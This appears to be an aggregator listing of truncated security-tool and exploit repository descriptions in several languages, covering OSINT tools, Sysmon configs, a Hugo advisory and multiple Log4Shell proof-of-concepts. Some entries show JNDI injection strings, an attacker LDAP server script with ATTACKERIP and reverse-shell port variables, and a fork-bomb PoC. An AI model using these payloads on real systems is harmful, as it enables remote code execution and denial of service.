netlas-cookbook

Netlas CookBook The goal of this guide is to teach anyone interested in cybersecurity, regardless of their knowledge level, how to make the most of Netlas Search Tools. This is a long read. We have collected as many simple use cases as possible and demonstrated how to automate them. ⭐️ Give us a...

log4j2-CVE-2021-44228

Aplicación vulnerable Log4j2 de muestra CVE-2021-44228 Versiones afectadas: todas las versiones desde 2.0-beta9 hasta 2.14.1 Esta aplicación se basa en una aplicación web Spring Boot vulnerable a CVE-2021-44228 Utiliza Log4j 2.14.1 a través de spring-boot-starter-log4j2 2.6.1. Ejecutando la...

CVE-2026-89258

Hugo is a static site generator. In versions after v0.123.0 and before v0.165.0, symlinks in parent directories were not dropped during direct resource lookups, allowing path confinement to be bypassed. An attacker who can place — or who convinces a site author to place — a symlink inside a mount...

sysmon-modular

sysmon-modular | A Sysmon configuration repository for everybody to customise This is a Microsoft Sysinternals Sysmon download here configuration repository, set up modular for easier maintenance and generation of specific configs. Please keep in mind that any of these configurations should be...

log4j-exploit-fork-bomb

log4j-exploit-with-fork-bomb 💣💥💀 Proof of Concept: ejemplo de ejecución de una fork bomb en un servidor remoto gracias a la vulnerabilidad CVE-2021-44228 1. Creamos el servidor LDAP del atacante módulo server, que entregará representaciones de cadenas y código módulo payload 2. Creamos un ejemplo...

raven

Raven - Advanced Cyber Threat Map Simplified, customizable and responsive. It uses D3.js with TOPO JSON, has 247 countries, 100,000 cities, and can be used in an isolated environment without external lookups!. Structure Offline - Demo Firefox, Chrome or Safari Live - Regression 500 attacks at onc...

phantom-playbooks

Este es el repositorio de Corelight para los playbooks de la comunidad desarrollados para Splunk Phantom. Estos proporcionan algunos ejemplos para que puedas crear tus propios playbooks. Corelight Investigate DNS Alert Este playbook toma una búsqueda guardada o un mecanismo de alerta para DNS de...

EUVD-2026-76070

Hugo is a static site generator. In versions after v0.123.0 and before v0.165.0, symlinks in parent directories were not dropped during direct resource lookups, allowing path confinement to be bypassed. An attacker who can place — or who convinces a site author to place — a symlink inside a mount...

fav-up

Fav-up 通过 favicon 图标并使用 Shodan 查找真实 IP。 安装 pip3 install -r requirements.txt Shodan API 密钥（不是 免费的） 使用 命令行界面 首先定义如何传递 API 密钥： -k 或 --key：将密钥传递给标准输入 -kf 或 --key-file：传递包含密钥的文件名 -sc 或 --shodan-cli：从 Shodan CLI 获取密钥（如果你已初始化） 目前，该工具可通过三种不同方式使用： -ff 或 --favicon-file：本地存储了你想要查询的 favicon 图标 -fu 或...

fav-up

Fav-up Lookups for real IP starting from the favicon icon and using Shodan. Installation pip3 install -r requirements.txt Shodan API key not the free one Usage CLI First define how you pass the API key: -k or --key to pass the key to the stdin -kf or --key-file to pass the filename which get the...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228Apache Log4j Ejecución Remota de Código） all log4j-core versions =2.0-beta9 and =2.14.1 Las versiones 1.x tienen otras vulnerabilidades; recomendamos que actualices a la última versión. Avisos de seguridad / Boletines vinculados a Log4Shell CVE-2021-44228 Uso: descarga este proyecto...

mylg

myLG, Command line Network Diagnostic Tool myLG is an open source software utility which combines the functions of the different network probes in one network diagnostic tool. Features Popular looking glasses ping/trace/bgp: Telia, Level3, NTT, Cogent, KPN More than 200 countries DNS Lookup...

cve-2022-42889-text4shell-docker

Instalar maven - maven-linux 1. Instalación de Maven para crear el fat jar root@kitploit: mvn clean install 2. Construir Docker root@kitploit: docker build --tag=text4shell . 3. Ejecutar Docker root@kitploit: docker run -p 80:8080 text4shell 4. Probar la aplicación root@kitploit:...

wtfis

wtfis Herramienta de consulta pasiva de hostnames, dominios e IPs para humanos ¿Qué es? wtfis es una herramienta de línea de comandos que recopila información sobre un dominio, FQDN o dirección IP utilizando varios servicios OSINT. A diferencia de otras herramientas de su tipo, está construida...

CVE-2021-44228-Log4Shell-

CVE-2021-44228-Log4Shell- Penetration testing 1. Create malicious LDAP Server using Marshalsec !/bin/bash Script: startldapserver.sh Yêu cầu: Cài đặt Java và Marshalsec https://github.com/mbechler/marshalsec LDAPPORT="1389" HTTPPORT="8000" ATTACKERIP="192.168.0.101" REVERSEPORT="5555" echo "+ Khở...

poastal

Poastal - 电子邮件 OSINT 工具 Poastal 是一个电子邮件 OSINT 工具，能提供任何电子邮件地址的有价值信息。使用 Poastal，您可以轻松输入一个电子邮件地址，它会迅速回答几个问题，为您提供关键信息。 ✨ 功能特性 确定拥有该电子邮件的人员姓名。 检查电子邮件是否可投递。 查明电子邮件是否为临时邮箱。 识别该电子邮件是否被视为垃圾邮件。 检查该电子邮件是否在热门平台（如 Facebook、Twitter、Snapchat、Parler、Rumble、MeWe、Imgur、Adobe、Wordpress 和 Duolingo）上注册。 💻 使用说明...

Log4j_dos_CVE-2021-45105

Log4j2 DOS CVE-2021-45105 Poc root@kitploit: $$::-$::-$$::-$ Versions Affected: all versions from 2.0-beta9 to 2.16.0 This application is based on Spring Boot web application vulnerable to CVE-2021-45105 It uses Log4j 2.16.0 Running the application Run it: root@kitploit: Import the project in Jav...

chiasmodon

Chiasmodon Chiasmodon es una herramienta OSINT que permite a los usuarios recopilar información de diversas fuentes y realizar búsquedas dirigidas basadas en dominios, aplicaciones de Google Play, direcciones de correo electrónico, direcciones IP, organizaciones, URL y más. Proporciona capacidade...

instarecon

InstaRecon 自动化的基础数字侦察。适合获取目标的初始足迹并发现额外的子域名。InstaRecon 将执行： DNS 查询（A、PTR、MX、NS） 对所有发现的主机进行递归 DNS 查询 Whois（域名和 IP）查询 使用 Google dorks 搜索子域名和 URL Shodan 查询 对整个 CIDR 进行反向 DNS 查询（仅当目标为网络时） 所有结果将整齐地打印在控制台或 csv 文件中。 InstaRecon 永远不会直接扫描目标。信息从 DNS/Whois 服务器、Google 和 Shodan 获取。 安装 安装只需执行：bash pip install -r...

CVE-2021-44228-Demo

CVE-2021-44228-Demo Ejemplo de inyección remota de código a través de CVE-2021-44228 utilizando RMI y LDAP. root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello,...